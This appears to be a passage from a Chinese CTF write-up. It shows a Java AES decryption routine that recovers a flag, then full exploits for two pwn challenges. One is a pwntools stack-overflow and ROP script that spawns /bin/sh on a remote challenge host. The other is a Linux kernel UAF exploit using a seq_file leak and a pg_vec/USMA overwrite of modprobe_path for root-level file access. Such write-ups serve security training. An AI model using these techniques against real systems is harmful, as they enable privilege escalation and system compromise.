0uGxGpYKjn1QgX28GD2UXrPKmbRmeQdzGQffj8hzPXNAJ4Hba1ZRkWF9OZlnFUe4SewLfjxpVLTdV78TxE3WjE9l8J8mAFvh2o2D2gz61CYoHssoZihXkQH3hS/h0pfLNXmo/mKtqUgauHwxhM6Tiv3hEtCgiXS6lQ0S+xb9EN1wwttP80FD7ZqTM3YJ5KgSDN0IV3NqtGq6vPUgfA3JUQLhvuyOqjHYhLFXAPcB4HQmBFN6OSozT1SAc0hZBlrli8HdbzwUGj+rIEkOVVWkkhbpspKo7G9sKx7RRibbFWVArIEbLxH/TOF6uloWp9t3FuG5uTb7eMU0THBT7Pu8I8WQmRdDSady8XAXPFej2pQ6wyfD+CRJGTsUmVQrAgFxLrSgjNnaydf81Q8emZnErVSwo68C4DQPtddMMMF7lo1GaiZUkb1Z91axR6CNPpLq2A9f/4AjX34hFz10a3oJ2xBi3fresYBHTvTnAbtxT1Grj4ttpCQtamx2WKROQa1yR0933ZD5IYRiPVOwePbGRubKmrbAbaXbrDXMrbAdX6rNiR2jLa0amo08iOLpLBNSG5KWLyQiey6Kq93fbtfABbS7FROKqedXkLMThQ0APpjxLRVX8pkM+gUkL4SkC1/AKv/hxBaH6Rm8M6PWlZxAZnhl2qoil1Ie0wdvKYa2ry8pqzwz6HjTMlLm6xSush3eFyoYtJhWUvyaQfrhtxAezeA1y4aCHHtUqTmep7ZB8LDaY5KdVf0EWExdJcaaEVfFDq1CQ86+wOoJ56xwxITm9iaX+SM9285P7WXOn0iYsUoFpfNgWSIuZe+7i2LM292YM3GUDQwkxR+CfrWz0zWQCAD+BpyGXFQ/b/Z1QQ5jqjKXhknu7ffoc2yMpvwa8/tnzInYXLt8LeVVOdusEGTk4Vo0AyGtHUuH5d8eqHjJVuFTT3OPpW/x7BxCR5tPiJNDHuwG/5VkywTUaCyASgHH/4iqI1tCpwDnCmZAiCbcnnf7uQE8kHYdg5XOQUlWXN9+sR7/9o3SnfGZDDoUusvaRcJ/");
        GIiIiLA.add("wOd4I7sVhw5HkgZMqTQlaA==");
        GIiIiLA.add("yV6xw9+tYxleD0h9egW2/XNXXL+1+pHUnuP+3m8ii1TeCMSJTegZd2igKpl+ap480ZRD/zkyXFtgSjExqvp5RTM5rjfOaEyoSArhtwuiS5U=");
        GIiIiLA.add("edT1iLMQCSvyHMUjip/M/A==");
        GIiIiLA.add("vHTdmhywhmrERttY0v8WPA==");
        GIiIiLA.add("wOd4I7sVhw5HkgZMqTQlaA==");
        GIiIiLA.add("xkXC55umWZBHWtL+x1dCCw==");
        GIiIiLA.add("uX4UoCpC1vhwr9Qjgpu31uIMLuC9MMTFZdoHUgTrXfo=");
        GIiIiLA.add("vHTdmhywhmrERttY0v8WPA==");
        GIiIiLA.add("BLYz3Sg6p3/X/BPYNW1L7FPYr0DwjapP8ge2BnUIVgk=");
        GIiIiLA.add("uX4UoCpC1vhwr9Qjgpu31uIMLuC9MMTFZdoHUgTrXfo=");
        GIiIiLA.add("JH+jvozoZH25OFzYjwUY3+Rx5tpx0ZnqCDUDSgD+3wTB2doHnZEu6OBL+wihavoE");
        GIiIiLA.add("yV6xw9+tYxleD0h9egW2/XSxK49PPZReLv9k58hqjT8=");
        GIiIiLA.add("1sth17wAFRt4+wAGPDITmg==");
        GIiIiLA.add("yV6xw9+tYxleD0h9egW2/XnNOj+AgvjLs2pu7dXzqrI=");
        GIiIiLA.add("Anj05GN/w2zBXhTp7riKrGXt8cugU0ZLiec1Gs+d1JsPe9kdfQpqBwV8tlru4DIUbg2ym6/BKkXTIkIAsDbA9g==");
        GIiIiLA.add("nG1R4Vi6NnBcBZ/yoHLWrQ==");
        GIiIiLA.add("aa5CJ5IF6MOG2H2+e1Wdhg==");
        GIiIiLA.add("KYLTetODpmvJ6F1dm/8ghQ==");
        GIiIiLA.add("KYLTetODpmvJ6F1dm/8ghQ==");
        GIiIiLA.add("vNXU4qrC9TvFzpRv4tbSsJW9UbGnp+utRSzGdevVAiG0wps8qiqPXXoCmmnIex25");
        GIiIiLA.add("KYLTetODpmvJ6F1dm/8ghQ==");
        GIiIiLA.add("vNXU4qrC9TvFzpRv4tbSsJW9UbGnp+utRSzGdevVAiG0wps8qiqPXXoCmmnIex25");
        GIiIiLA.add("LUj6lY0pyGsgf7h8uGlrUTP24ysker1No7mzBIAUHjcwsEmlkBNavkjjdNx7605ybDccQ/I5izOOjOSSYUbIMA==");
        GIiIiLA.add("uX4UoCpC1vhwr9Qjgpu31uIMLuC9MMTFZdoHUgTrXfo=");
        GIiIiLA.add("FHbZr6+qgY3p8S52uoSwU+rzLJu/BapSVDBVcsY//3k=");
        GIiIiLA.add("hllzo1U5TtIPfKWnxzEkWKPnX8SgrjiSIMuSly1LX78=");
        GIiIiLA.add("JH+jvozoZH25OFzYjwUY3+Rx5tpx0ZnqCDUDSgD+3wTB2doHnZEu6OBL+wihavoE");
        GIiIiLA.add("+gvewj5POa93RqmusJXQ4A==");
        GIiIiLA.add("YwDUGijDV5zY3M45IJyypg==");
    }
    private static String LiLiLLLiiiLLiiLLi = "Y4SuperSecretKey";
    public static void main(String[] args) throws Exception {

        javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
        c.init(2, new javax.crypto.spec.SecretKeySpec(LiLiLLLiiiLLiiLLi.getBytes(), "AES"));
        GIiIiLA.forEach(s -> {
            try {
                System.out.println(new String(c.doFinal(Base64.getDecoder().decode(s))));
            } catch (IllegalBlockSizeException e) {
                throw new RuntimeException(e);
            } catch (BadPaddingException e) {
                throw new RuntimeException(e);
            }

        });
    }
}

获取输出为

开始游戏
codes.ser
-54, -2, -70, -66, 0, 0, 0, 52, 1, 27, 10, 0, 102, 0, -113, 7, 0, -112, 8, 0, -111, 8, 0, -110, 8, 0, -109, 7, 0, -108, 10, 0, 2, 0, -107, 10, 0, 2, 0, -106, 7, 0, -105, 9, 0, 55, 0, -104, 8, 0, -103, 10, 0, 9, 0, -102, 10, 0, 9, 0, -101, 10, 0, 2, 0, -100, 8, 0, -99, 10, 0, 101, 0, -98, 10, 0, 101, 0, -97, 10, 0, 101, 0, -96, 10, 0, 2, 0, -95, 8, 0, -94, 10, 0, -93, 0, -92, 7, 0, -91, 10, 0, 22, 0, -113, 7, 0, -90, 9, 0, 55, 0, -89, 9, 0, 55, 0, -88, 7, 0, -87, 8, 0, 103, 10, 0, 24, 0, -86, 7, 0, -85, 10, 0, 30, 0, -84, 10, 0, 22, 0, -83, 7, 0, -82, 8, 0, 104, 10, 0, -81, 0, -80, 10, 0, 33, 0, -84, 7, 0, -79, 8, 0, -78, 10, 0, -81, 0, -77, 10, 0, 37, 0, -84, 7, 0, -76, 8, 0, -75, 10, 0, -81, 0, -74, 10, 0, 41, 0, -84, 8, 0, -73, 7, 0, -72, 10, 0, 46, 0, -113, 10, 0, 24, 0, -71, 10, 0, 24, 0, -70, 10, 0, 24, 0, -69, 10, 0, 2, 0, -68, 10, 0, 22, 0, -67, 7, 0, -66, 10, 0, 53, 0, -65, 7, 0, -64, 8, 0, -63, 8, 0, -62, 7, 0, -61, 10, 0, 58, 0, -60, 10, 0, 22, 0, -59, 7, 0, -58, 10, 0, 61, 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hint.txt
-fx-font-size: 16px; -fx-min-width: 120px; -fx-min-height: 60px;
打地鼠
codes.ser
hint.txt
当前得分: 0
-fx-font-size: 20px;
codes.ser
请在5s内输入授权码:
-fx-font-size: 20px;
wdflag{vVfpsL66XejgtQmjeux5NtL3uRMsDBt3}
-fx-font-size: 18px;
复制内容
-fx-font-size: 14px;
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
SHA-256
UTF-8
AES
AES
a8029b61-3bad-41bc-9bac-ce141b0645a3
AES
a8029b61-3bad-41bc-9bac-ce141b0645a3
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wdflag{vVfpsL66XejgtQmjeux5NtL3uRMsDBt3}
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s

PWN

pwn2

主要是过两处校验

第一处校验，可以通过输出 gift 函数的栈溢出修改 rbp + var_28 为 1，这样就可以不执行 exit，走到后门函数

342d8d960446892cd81b296dcbcfb3b8

后门函数中存在一个栈溢出漏洞，可以在 sub_401a55 往 backdoor 函数 rsp 上方溢出 0x50

4835b72da9dc400bc1565f72c4550163

如果看汇编，会发现其实是检测了 rbp + var_11c 的，但是由于每次循环没有增加 rbp + var_11c 的值，导致 for 被 IDA 识别成 while 了

这里只需要通过上面说到的 sub_401a55 函数，溢出写 rbp + var_11c 即可

那么就会在父进程中，去检测值然后调出循环，去执行在 sub_401a55 中写入的 ROP 链

from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty
import os

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = remote('0192f52081037e97a4c566edafe251cc.gsgh.dg07.ciihw.cn', 43808)

os.system('killall -9 pwn')

#p = process('./pwn')
elf = ELF('./pwn')
#libc = ELF('./libc.so.6')

def g_p():
    p = b''

    p += pack('<Q', 0x000000000040a1ae) # pop rsi ; ret
    p += pack('<Q', 0x00000000004c50e0) # @ .data
    p += pack('<Q', 0x0000000000450277) # pop rax ; ret
    p += b'/bin//sh'
    p += pack('<Q', 0x00000000004529e5) # mov qword ptr [rsi], rax ; ret
    p += pack('<Q', 0x000000000040a1ae) # pop rsi ; ret
    p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
    p += pack('<Q', 0x000000000043eeb9) # xor rax, rax ; ret
    p += pack('<Q', 0x00000000004529e5) # mov qword ptr [rsi], rax ; ret
    p += pack('<Q', 0x000000000040213f) # pop rdi ; ret
    p += pack('<Q', 0x00000000004c50e0) # @ .data
    p += pack('<Q', 0x000000000040a1ae) # pop rsi ; ret
    p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
    p += pack('<Q', 0x0000000000485feb) # pop rdx ; pop rbx ; ret
    p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
    p += pack('<Q', 0x4141414141414141) # padding
    p += pack('<Q', 0x000000000043eeb9) # xor rax, rax ; ret
    p += pack('<Q', 0x0000000000450277) # pop rax ; ret
    p += pack('<Q', 0x3b) # 
    p += pack('<Q', 0x0000000000401ef4) # syscall
    
    return p



rl(b'0x')
canary = int(r(16), 16)

sa('leave your name\n', p64(0x1234)*5 + p32(1) + b'b'*0x14)

sa(b'Wanna return?\n', b'\x00')

sa(b'once again?', b'b'*0x100)
sa(b'once again?', b'c'*0x100)

#debug('b *0x4018f1\nb *0x4019ab\nb *0x401a82\n')

pl = g_p()

sa(b'once again?', b'\x01'*0x64 + p32(0x11111111) + b'a'*(0x108 - 0x68) + p64(canary) + p64(0) + pl)

lg('canary', canary)
inter()
pause()

# set follow-fork-mode parent

PWN3

功能及其漏洞点：

Add/Dele/Read/Write
其中 Add 没有限制堆块大小，不存在 cg 隔离
Dele 没有清空指针，存在 UAF
读写次数不限

利用思路：

Leak

(1) 申请 32大小的堆块 chunk1

(2) 释放该堆块 chunk1

(3) 堆喷 seq_file 占据 chunk1

(4) Vuln_read 泄漏 kbase
USMA

(1) 申请32大小的堆块 chunk2

(2) 释放该堆块chunk2

(3) 堆喷pg_vec占据chunk2

(4) Vuln_write修改chunk2的头8字节为modprobe_path所在页

(5) USMA打modprobe_path

exp 如下：

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
 
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
//#include <stdint.h>
#include <sys/mman.h>
//#include <ctype.h>
#include <pthread.h>
//#include <sys/types.h>
//#include <sys/wait.h>
//#include <sys/socket.h>
#include <linux/if_packet.h>
#include <arpa/inet.h> 
#include <net/if.h> 

#define REDS "\033[31m\033[1m"
#define REDE "\033[0m"
#define fail_exit(msg) { printf(REDS"[Error %s, %d line, %s]: %s\n"REDE, \
                __FUNCTION__, __LINE__, __FILE__, msg);\
                exit(-1); }

void unshare_setup(void)
{
    char edit[0x100];
    int tmp_fd;

    unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);

    tmp_fd = open("/proc/self/setgroups", O_WRONLY);
    write(tmp_fd, "deny", strlen("deny"));
    close(tmp_fd);

    tmp_fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getuid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);

    tmp_fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getgid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);
}

#ifndef ETH_P_ALL
#define ETH_P_ALL 0x0003
#endif

void packet_socket_rx_ring_init(int s, unsigned int block_size,
                                unsigned int frame_size, unsigned int block_nr,
                                unsigned int sizeof_priv, unsigned int timeout) {
    int v = TPACKET_V3;
    int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
   
    struct tpacket_req3 req;
    memset(&req, 0, sizeof(req));
    req.tp_block_size = block_size;
    req.tp_frame_size = frame_size;
    req.tp_block_nr = block_nr;
    req.tp_frame_nr = (block_size * block_nr) / frame_size;
    req.tp_retire_blk_tov = timeout;
    req.tp_sizeof_priv = sizeof_priv;
    req.tp_feature_req_word = 0;

    rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
                        unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
    int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    
    packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout);

    struct sockaddr_ll sa;
    memset(&sa, 0, sizeof(sa));
    sa.sll_family = PF_PACKET;
    sa.sll_protocol = htons(ETH_P_ALL);
    sa.sll_ifindex = if_nametoindex("lo");
    sa.sll_hatype = 0;
    sa.sll_pkttype = 0;
    sa.sll_halen = 0;

    int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
    
    return s;
}

int pagealloc_pad(int count, int size) {
    return packet_socket_setup(size, 2048, count, 0, 100);
}


void get_flag(){
        system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x"); // modeprobe_path 修改为了 /tmp/x
        system("chmod +x /tmp/x");
        system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二进制文件
        system("chmod +x /tmp/dummy");
        system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
        sleep(0.3);
        system("cat /flag");
        exit(0);
}

int fd;


void alloc(size_t size) {
    ioctl(fd, 0, size);
}

void dele() {
    ioctl(fd, 1, 0);
}

#define SPRAY_SEQ 0x100
int seq[SPRAY_SEQ+0x1000];
uint64_t kbase;
uint64_t koffset;
void leak() {
    char buf[0x100] = { 0 };
    alloc(32);
    
    for (int i = 0; i < SPRAY_SEQ; i++) {
        seq[i] = open("/proc/self/stat", O_RDONLY);
        if (i == SPRAY_SEQ / 2) dele();
    }
    read(fd, buf, 32);
    kbase = *(size_t*)buf - 0x25bcc0;
    koffset = kbase - 0xffffffff81000000;
    for (int i = 0; i < SPRAY_SEQ; i++) close(seq[i]);
}

uint64_t modprobe_path_addr = 0xe58b80;
int main(int argc, char** argv, char** envp) {

    unshare_setup();	
    char buf[0x10] = { 0 };
    fd = open("/dev/easy", O_RDWR);
    leak();
        modprobe_path_addr += kbase;
    *(uint64_t*)(buf + 0x00) = modprobe_path_addr & ~0xfff;
    int nr = 32 / 8 - 1;
    int i = 0;
    alloc(32);
    dele();
    while (1) {
        int packet_fd = pagealloc_pad(nr, 0x1000);
        write(fd, buf, 8);
        char *page = NULL, *modprobe_path = NULL;
        page = mmap(NULL, 0x1000*nr, PROT_READ|PROT_WRITE, MAP_SHARED, packet_fd, 0);
        modprobe_path = page + (modprobe_path_addr & 0xfff);
        if (!strcmp(modprobe_path, "/sbin/modprobe")) {
            strcpy(modprobe_path, "/tmp/x");
            munmap(page, 0x1000*nr);
            get_flag();
            goto EXIT;
        }
        seq[i] = open("/proc/self/stat", O_RDONLY);
        i++;
    }
EXIT:
    return 0;
}

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